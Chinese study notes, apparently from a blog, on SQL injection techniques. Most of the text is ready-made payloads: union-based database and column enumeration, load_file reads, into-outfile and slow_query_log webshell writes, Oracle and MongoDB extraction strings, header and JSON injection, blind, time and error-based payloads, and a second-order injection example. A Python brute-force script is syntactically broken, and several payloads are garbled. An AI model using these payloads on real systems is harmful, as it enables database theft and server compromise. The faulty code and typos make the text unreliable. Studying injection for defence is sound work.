各种sql注入
一、数据库注入
漏洞产生的根本条件:可控变量、特定函数
注入原理:在参数里拼接sql语句,用引号把后端写的sql闭合,自己写的部分写上去,最后的位置用注释把后面执行的sql注释掉
注入操作sql的练习里写过了:sql注入
跨库获取数据库
UNION SELECT schema_name,2,3... FROM information_schema.schemata
information_schema.schemata:专门记录“有哪些数据库”的一张表。
schema_name:这张表里的一个字段,数据库名。
UNION SELECT ...:把“查询当前库某个表”的原始SQL语句,拼接成了“查询所有数据库名”的新语句。由于注入点猜到了原查询有n个字段,UNION 就可以成功执行。
如果输入有加密可以写python脚本解决
点击查看代码
import requests
import base64
url=''
sqlin='1 union select 1,2,3,4,5,6,7 from '
//xxx.txt是字典
for column_name in open('xxx.txt'):
column_name=column_name.strip()
s=sqlin+column_name
result=base64.b64encode(s.encode('utf-8'))
print(result)
urlresult=url+result.decode('utf-8')
requ=requests.get(urlresult).content
if 'Warning' in s.text:
print('failed')
else
print('success')
print(urlresult)
高权注入点:可升级读写执行(mysql、postgreSQL、sqlserver等)。配置里直接写了root连接没用专门的低权限账号之类的会出现这个问题。
读取文件:
UNION SELECT 1,load_file('d:/w.txt),3,4,5,6,7,8,9,10,11.12,13,14,15,16,17
-写入文件:
UNION SELECT 1,'xxxx',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'd:/www.txt'
-路径获取:phpinfo,报错,字典等
无法写入:secure_file_priv突破,注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连上对方数据库进行绕过
set global slow_query_log=1;
set global slow_query_log_file='shell路径';
select ' or SLEEP(11);
其他参考:
oracle
测回显:and 1=2 union select'1,2' from dual
爆库: and 1=2 union select '1,(select table_name from user_tables where rownum=1)from dual
模糊爆库:and 1=2 union select'1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual
爆列名: and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users')from dual
爆其他列名: and 1=2 union select'1',(select column_name from all _tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) fromdual
爆数据: and 1=2 union select user_name,user_pwd from "sns_users"
爆其他其数据: and 1=2 union select user_name,user pwd from "sns_users" where USER_NAME<>'hu'
mangodb
测回显: /new_list.php?id=1}); return ({title:1,content:'2
爆库: /new_list.php?id=1}); return ({title.tojson(db),content:'1
爆表: /new_list.php?id=1}); return ({title:tojson(db.getCollectionNames()),content:'1
爆字段: /new_list.php?id=1}); return (title:tojson(db.Authority_confidential.find()[0]),content:'1
db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。
db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据
sqlmap:
*不支持nosql
完成支持六种sql注入技术:基于布尔、基于时间、基于错误、基于UNION查询、堆叠查询和带外
参考:
二、数据类型注入
大概如何注入:
数字型:?id=1 order by 1
字符型s=test' order by 16--+
搜索型search=单引号闭合前面' UNION +ALL+SELECT+1,database(),3,4...17 and '%'='%'
后端大概会写成where xxx like '%$s%'
编码型:base=MQ== 要先解码,再union拼接,编码后再放上去注入
加密型(base64 json)等:
json数据表现形式
{"username":admin,"password":"123456"}
后端应该是SELECT * FROM users WHERE username = 'admin' AND password = '123456'
手动测就要用burpsuite,抓包注入{"username":"admin' order by 5 --+","password":"123456"}
宽字节注入(字符转义处理防护):比如在GBK编码下,%df与一个“\”结合,形成一个合法的宽字节字符,这样反斜杠就被吞掉了,后面就不会被转义,可以实现注入
扫描,利用工具等不会自动判断数据类型、格式等,所以即便有漏洞也测不出来,具体需人工观察,进行工具修改或插件再次探针
三、提交方式注入(get post cookie http头等)
在发出的请求里的位置

1.后台要记录操作访问IP
IP要进行代码的获取,获取到之后,IP有可能记录到数据库中。如果IP能够自定义数据,能尝试注SQL注入
比如X-Forwarded-For:8.8.8.8(伪造的IP) union select 1,2,3,4#
2.网站要根据用户的访问设备给予显示页面
接受访问的UA信息,进行判断
将各种UA进行数据库整理后,用户访问后对比数据库中的UA值来进行判断
UA信息通过抓包可以尝试修改,会被sql注入
3.网站要进行文件上传,用户登录POST
上传的文件可大可小,GET可以拼接
用户登录,接受账号密码后进行数据库查询对比
四、增删查改、盲注、延时、布尔、报错
1.明确查询方式注入payload
2.明确查询方式注入产生功能
3.明确SQL盲注延时&布尔&报错
盲注:就是在注入过程中,获取的数据不能回显到前端页面
我们可以知道盲注分为以下三类:
-基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left.ord,mid
-基于时问的SQL盲注-延时判断
if,sleep
-基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
SQL-盲注&布尔&报措&延时
PHP开发项目-输出结果&开启报错
基于延时:
/blog/news.php?id=1 and if(database())=7,sleep(5),0)
【判断database()是否等于7,如果判断条件成立就延迟5秒,不成立就不延迟。比如原来返回的访问时间是4秒多,判断正确就是9秒多】
基于布尔:
blog/news.php?id=1 and length(database()=7
【这里7代表数据库名长度】
基于报错:
/blog/news.php?id=2 and updatexmi(1.concat(0x7e.(SELECT @@version),0x7e),1)
五、堆叠、二次注入、Dnslog注入
1、数据库堆叠注入
根据数据库类型决定是否支持多条语句执行
【比如select * from db where id=1;create table aaa like db;查询+创建】
2、数据库二次注入
应用功能逻辑涉及上导致的先写入后组合的注入3、数据库Dnslog注入解决不回显(反向连接),SQL注入,命令执行,SSRF等
4、黑盒模式分析
二次注入:插入后调用显示操作符合堆叠注入:判断注入后直接调多条执行
DNS注入:在注入上没太大利用价值
二次注入:
比如绕过注册用户名或修改密码时,写了一个sql注入语句,因为有转义,写入的时候不会执行而会把语句当字符保留存入数据库。下次查询数据时,会直接从数据库中取出恶意数据,没用进行进一步的检验和处理,就会把这段语句当sql执行。这样就是二次注入。
例子:
注册时有邮箱、用户名、密码要填
登录时填邮箱和密码
主页展示有显示用户名
猜测注册时sql语句为:insert into user (email,username,password) value('aaa@qq.com','aaa','aaa')
进入用户中心,因为显示用户名,猜测是根据邮箱查询出的用户名:select 'aaa' from user where email='aaa@qq.com'
可以在注册页面的用户名位置写sql注入【"0'+ascii (substr ((select * from flag) from {} for 1))+'0".format (i+l)】,这样在显示主页时,会调用这个sql语句。
*.format(i+1),把括号里的计算结果,填入{}中,如果i是0,那么i+1是1,语句变成"0'+ascii(substr((select * from flag) from 1 for 1))+'0",如果 i 是 1,那么 i+1 就是 2,最终字符串就会变成 ... from 2 for 1 ...。这样做的好处是,可以在一个循环里通过改变 i 的值,动态地生成多个 Payload,来逐位读取 flag 表里的字符。

浙公网安备 33010602011771号